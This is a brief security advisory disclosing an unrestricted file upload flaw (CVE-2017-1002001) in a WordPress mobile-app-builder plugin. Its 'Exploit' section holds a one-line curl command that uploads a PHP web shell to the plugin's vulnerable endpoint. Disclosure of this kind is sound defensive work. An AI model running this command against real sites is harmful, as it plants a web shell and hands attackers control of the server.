Unrestricted File Upload vulnerability in Wordpress Plugin mobile-app-builder-by-wappress v1.05
File upload vulnerability
CVE ID(s):
CVE-2017-1002001
Summary: The plugin includes unlicensed vulnerable CMS software from http://www.invedion.com.
Notified: 2017-03-01
Description:
“Convert your WordPress site into native mobile apps."
Exploit:
$ curl -F "file=@/var/www/shell.php" "http://example.com/wordpress/wp-content/plugins/mobile-app-builder-by-wappress/server/images.php"